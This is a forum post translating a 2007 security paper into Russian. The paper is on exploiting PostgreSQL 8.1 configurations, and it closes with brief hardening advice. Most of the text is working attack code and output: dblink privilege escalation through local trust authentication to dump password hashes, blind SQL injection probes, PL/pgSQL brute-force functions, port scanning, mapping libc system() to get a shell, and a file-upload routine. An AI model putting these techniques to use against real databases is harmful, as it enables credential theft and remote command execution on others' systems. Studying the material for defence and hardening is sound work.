Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
[Перевод]Развлечения с PostgreSQL |

22.09.2007, 00:11
|
|
Постоянный
Регистрация: 22.08.2005
Сообщений: 540
Провел на форуме: 4372175
Репутация:
1221
|
|
[Перевод]Развлечения с PostgreSQL
Развлечения с P o s t g r e S Q L
Автор: Nico Leidecker ( nfl@portcullis-security.com)
Дата: June 05 2007
Перевод: NeMiNeM
PostgreSQL - это объектно-реляционная система управления базами данных (ORDBMS) (по-русски ОРСУБД или просто СУБД) основанная на POSTGRES, версии 4.2, которая была разработана в Научном Компьютерном Департаменте Беркли Калифорнийского Университета. POSTGRES является пионером во многих аспектах, которые стали доступны в некоторых коммерческих СУБД много позже.
PostgreSQL - это продукт с открытым исходным кодом, который является потомком оригинального кода, написанного в Беркли. PostgreSQL поддерживает большую часть стандарта SQL и предлагает множество современных возможностей. (подробно)
[Предисловие]
В этой статье будут представлены несколько идей для эксплуатации уязвимостей в типичных конфигурациях PostgreSQL. Большинство идей не новые, но всё же их тяжело найти или очень легко недосмотреть.
Все примеры проверялись на PostgreSQL 8.1 и могут не совпадать с предыдущими версиями.
Версия 8.2 обсуждается в разделе о pgchanges.
[dblink: Корень Зла]
Dblink – часть PostgreSQL начиная с версии 7.2. DBlink позволяет организовать связь между серверами и с одного сервера обращаться за данными на другой сервер. Типичное использование dblink:
Код:
CREATE VIEW entry_states AS SELECT * FROM
dblink('host=1.2.3.4
dbname=remotedb
user=dbuser
password=secretpass',
'SELECT id, title FROM entries')
AS remote_entries(id INT, title TEXT);
Это только небольшой пример как можно использовать dblink. Но нам более интересно как можно злоупотреблять им.
[Расширение привилегий]
В конфигурации PostgreSQL по-умолчанию включена локальная trust-аутентификация, т.е. каждое подключение к бд с локального хоста будет принято даже без ввода пароля. Трудно понять, почему такая опция включена по-умолчанию и соответствующие предупреждение в файле 'pg_hba.conf' безошибочное:
Внимание: Конфигурация системы для локальной trust-аутентификации даст возможность любому локальному пользователю подключится к PostgreSQL под именем другого пользователя, даже superuser. Если вы не доверяете локальным пользователям, используйте другой метод аутентификации.
Опытный админ скорее всего не пропустит этого, но новичок может и не отключить такую аутентификацию.
Итак! Что же будет если мы будем использовать dblink для подключения к локальному хосту?
Код:
SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT column FROM sometable')
RETURNS (result TEXT);
Такой запрос будет исполнен с правами 'someuser' и выдаст результат в текущую сессию. В целом, пользователь может и не быть админом. Но если мы знаем логин админа, идентифицировали хост (с помощью dblink) и на сервере включена локальная trust-аутентификация – у нас есть больше возможностей. Пример для непривилегированного пользователя 'someuser':
Код:
$ psql -U someuser somedb
somedb=> select usename, usesuper from pg_user where usename=current_user;
usename | usesuper
----------+----------
someuser | f
(1 row)
somedb=> select usename from pg_user where usesuper='t';
usename
---------
admin
(1 row)
Чтоб доказать это, попытаемся сначала как непривилегированный пользователь сделать запрос на хэшы паролей с файла pg_shadow а потом попробуем с помощью расширения привелегий и пользователя 'admin'.
Код:
somedb=> select usename, passwd from pg_shadow;
ERROR: permission denied for relation pg_shadow
somedb=> SELECT * FROM dblink('host=127.0.0.1 user=admin
dbname=somedb', 'select usename,passwd from pg_shadow') returns
(usename TEXT, passwd TEXT);
usename | passwd
----------+-------------------------------------
admin | md549088b3a87b8ce56ecd39259d17ff834
someuser | md5e7b0ce63e5eee01ee6268b3b6258e8b2
(2 rows)
Эти запросы можно было бы конечно использовать и в SQL-инъекциях. Очевидно, что необходимым условием есть идентификация установлена ли библиотека dblink и включена ли локальная trust-аутентификация. Давайте предположим что мы проводим blind SQL injection и нам нужны два простых запроса чтоб достать необходимую информацию:
Код:
SELECT
repeat(md5(1), 500000)
WHERE
EXISTS (SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2);
SELECT
repeat(md5(1),500000)
WHERE
EXISTS (
SELECT * FROM dblink('host=127.0.0.1
user=admin
dbname=somedb',
'SELECT 1')
RETURNS (i INT));
Если есть возможность расширения привелегий, то есть возможность использовать и более интересные функции. Но перед этим, давайте ближе ознакомимся с dblink и с тем, что можно достичь без расширения привелегий.
[Брут-форс учётных записей]
Если локальная trust-аутентификация отключена мы всё же можем брутить эккаунты, возможно будет акк с простым паролем. Самый простой, но примитивный вариант – это посылать в SQL запросе к серверу слова, вложенные в POST или GET запрос. Но, необыкновенное количество запросов может вызвать подозрение. Другой метод, который использует только один или два запроса, а остальное оставляет для обработки базой данных это PL/pgSQL - загружаемый процедурный язык для PostgreSQL, который должен создать администратор выполнив CREATE LANGUAGE 'plpgsql'. Мы можем проверить его присутствие:
Код:
somedb=> SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+---------
plpgsql |
(1 row)
Ура! Он присутствует! И даже больше! По-умолчанию создания функций – это привилегия возможна для PUBLIC, где PUBLIC – это любой пользователь бд. Чтоб избежать этого, админ должен был отменить привилегию USAGE с домена PUBLIC:
somedb=# REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
В этом случаи, наш предыдущий запрос выдал бы такой результат:
Код:
somedb=> SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+-----------------
plpgsql | {admin=U/admin}
(1 row)
Однако, у нас есть право использовать язык и таким образом создавать произвольные функции. Итак, создадим функцию, которая составляет слова и использует их в строке соединения dblink с локальным хостом. Кроме того, нам нужен обработчик ошибок, на случай если аутентификация провалится.
Код:
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
DECLARE
word TEXT;
BEGIN
FOR a IN 65..122 LOOP
FOR b IN 65..122 LOOP
FOR c IN 65..122 LOOP
FOR d IN 65..122 LOOP
BEGIN
word := chr(a) || chr(b) || chr(c) || chr(d);
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection
THEN
-- do nothing
END;
END LOOP;
END LOOP;
END LOOP;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql';
Этот исключительно инкрементный метод брута возвратит слово как результат удачной аутентификации или же NULL (нулевое значение). К сожалению, как и все брут-форс техники, эта займет очень много времени и не факт что принесет результат. Другим вариантом есть использование списка готовых слов. Чтоб это сделать, мы можем использоваться возможностями другой удаленной бд:
Код:
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
BEGIN
FOR word IN (SELECT word FROM dblink('host=1.2.3.4
user=name
password=qwerty
dbname=wordlists',
'SELECT word FROM wordlist')
RETURNS (word TEXT)) LOOP
BEGIN
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection THEN
-- do nothing
END;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql'
В зависимости от данных в базе, было бы логично получать слова с текущих данных. Вот пример функции, которая достает и делает запросы в каждую таблицу и атрибут типа TEXT из pg_attribute и pg_class:
Код:
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
DECLARE
qry TEXT;
row RECORD;
word text;
BEGIN
FOR row IN (SELECT
relname, attname
FROM
(pg_attribute JOIN pg_type ON atttypid=pg_type.oid)
JOIN pg_class ON attrelid = pg_class.oid
WHERE
typname = 'text') LOOP
BEGIN
qry = 'SELECT '
|| row.attname || ' AS word ' ||
'FROM '
|| row.relname || ' ' ||
'WHERE '
|| row.attname || ' IS NOT NULL';
FOR word IN EXECUTE (qry) LOOP
BEGIN
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection THEN
-- do nothing
END;
END LOOP;
END;
END LOOP;
RETURN NULL;
END;
$$ language 'plpgsql';
Можно улучшить код, разделяя результаты пробелами и удаляя все ненужные спец. символы.
[Сканирование портов с помощью удалённого доступа]
Когда попытка подключения неуспешна, dblink показывает исключение `sqlclient_unable_to_establish_sqlconnection' и разъяснение ошибки. Некоторые примеры:
Код:
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
a) Хост не работает.
DETAIL: could not connect to server: No route to host Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
b) Закрытый порт
DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
c) Порт открытый
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
или
DETAIL: FATAL: password authentication failed for user "name"
d) Порт открытый или стоит фильтр
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
К сожалению, нет возможности получить детали исключения в пределах PL/pgSQL функции. Но возможно получить детали, если есть возможность подключится к серверу PostgreSQL напрямую. Если нет возможности получить логины и пароли просто из системных таблиц, атака из списка слов может принести результат.
[Подключение функций]
Если мы присмотримся ближе к dblink то увидим такие строчки:
CREATE OR REPLACE FUNCTION dblink_connect (text) RETURNS text AS
'$libdir/dblink','dblink_connect' LANGUAGE 'C' STRICT;
Это простой оператор CREATE с переменной $libdir, которая представляет директорию библиотеки PostgreSQL. После исполнения запроса, функция подключается с библиотеки dblink к dblink_connect(), которая ожидает аргумент TEXT. Нет ограничений на библиотеки и функции, и в какой директории мы ищем эти функции. Следовательно, мы можем создать функцию и подключить ее к любой функции произвольной библиотеки…припустим `libc':
CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS
'/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT;
По-умолчанию, обыкновенный пользователь не будет иметь прав на создание функций с помощью языка `C'. Но в случаи, если мы супер-пользователь или используем расширение привелегий, можем получить шелл.
[Получаем шелл]
PostgreSQL предлагает функцию для строк на С, кот. называеться CSTRING. Это позволяет нам не только подключать функции, которые ожидают целые аргументы, но также позволяет изменять структуры TEXT в необработанные символьные массивы. И это открывает для нас новые ворота:
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;
Всё, что мы делаем с system() будет исполнено в контексте сервера. Однако не факт, что это будет рут.
[Заливаем файлы]
Экспериментируя с функциями, мы можем открывать, вводить информацию и закрывать файлы.
Вот интересный приём для отправки данных с бинарника к бд сервера и потом ввод данных в файл. Нам нужны функции:
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS
'/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS
'/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS
'/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
Отправка бинарных данных на сервер, который потом передаст их к бд может провалится.
Для этого, лучше перекодировать бинарные данные в буквенно-цифровые. Base64 – наш друг и сервер PostgreSQL соединит хранящийся процедуры. PostgreSQL будет запускать процесс для каждого нового подключения, таким образом файл-дескриптор будет отключатся вместе с завершением соединения. Это значит, что нам нужно будет за каждым разом открывать тот же файл чтоб переслать часть информации. Но это не проблема. Вот функция, которая открывает, вписывает информацию и закрывает файл, а также декодирует строку base64 перед тем, как вписать ее в файл:
Код:
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;
IF fh <= 2 THEN
RETURN 1;
END IF;
SELECT decode(s, 'base64') INTO w;
i := 0;
LOOP
EXIT WHEN i >= octet_length(w);
SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;
IF rs < 0 THEN
RETURN 2;
END IF;
i := i + 1;
END LOOP;
SELECT close(fh) INTO rs;
RETURN 0;
END;
$$ LANGUAGE 'plpgsql';
Цифры 522 и 448 в вызове функции open() – это значения для ( O_CREAT |
O_APPEND | O_RDWR ) и S_IRWXU. Заметьте, они зависят от ОС.
[Функции sleep и copy в PostgreSQL 8.2]
Много вещей в этой статье основанные на версии 8.1 и не будут работать или будут плохо работать в версии 8.2. К примеру, в новой версии есть встроенная функция pg_sleep. Вообще-то эта функция упростит нам жизнь. Но другой новой фичей есть проверка на совместность при загрузке библиотек. Каждая библиотека должна иметь спец.блок для идентификации. Конечно, libc не имеет такого блока и по этому не может быть загружена. Вкратце, мы не можем использовать system() для исполнения шелл-команд и write(), open() или close() для работы с файлами. Но мы можем использовать команду COPY для записи в файл. К сожалению, нам понадобятся права супер-юзера для копирования данных с таблицы в файл и мы не сможем записать бинарные данные в файл. Вопрос: Поможет ли нам запись с низкими правами данных ASCII в глобальный каталог для записи (например `/tmp') ? Скорее всего – нет.
|
|
|

22.09.2007, 00:12
|
|
Постоянный
Регистрация: 22.08.2005
Сообщений: 540
Провел на форуме: 4372175
Репутация:
1221
|
|
[Рекомендации и предотвращение]
Во-первых нужно отключить локальную trust-аутентификацию. Для этого отредактируйте строчки по-умолчанию в конце файла pg_hba.conf:
local all all ident sameuser
host all all md5
Как результат, каждый пользователь (локальный или удаленный) должен будет идентифицироваться. Расширение привелегий с помощью dblink уже не будет возможным.
Для отключения мэппинга к произвольным библиотекам лучше всего обновить версию PostgreSQL. Но также будет необходимо убедиться что у всех пользователей ограниченные права.
[Скрипт pgshell]
`pgshell' – это скрипт на пэрл, который делает то, что описано в этой статье. Он использует SQL-инъекции для собирания данных о системе, расширяет привелегии, создает шелл и загружает файлы. Описание и сам шелл здесь: http://www.leidecker.info/pgshell/
[Ссылки]
http://db.cs.berkeley.edu/postgres.html
http://www.postgresql.org/about/history
http://www.postgresql.org/about/users
http://www.linuxshare.ru/postgresql/manual/intro-whatis.html
Оригинал - http://milw0rm.com/papers/165
Перевод: NeMiNeM
Специально для antichat.ru
ps: В статье/переводе возможны ошибки. Просьба не кричать, а спокойно указать и исправить Спасибо.
Последний раз редактировалось NeMiNeM; 22.09.2007 в 02:36..
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|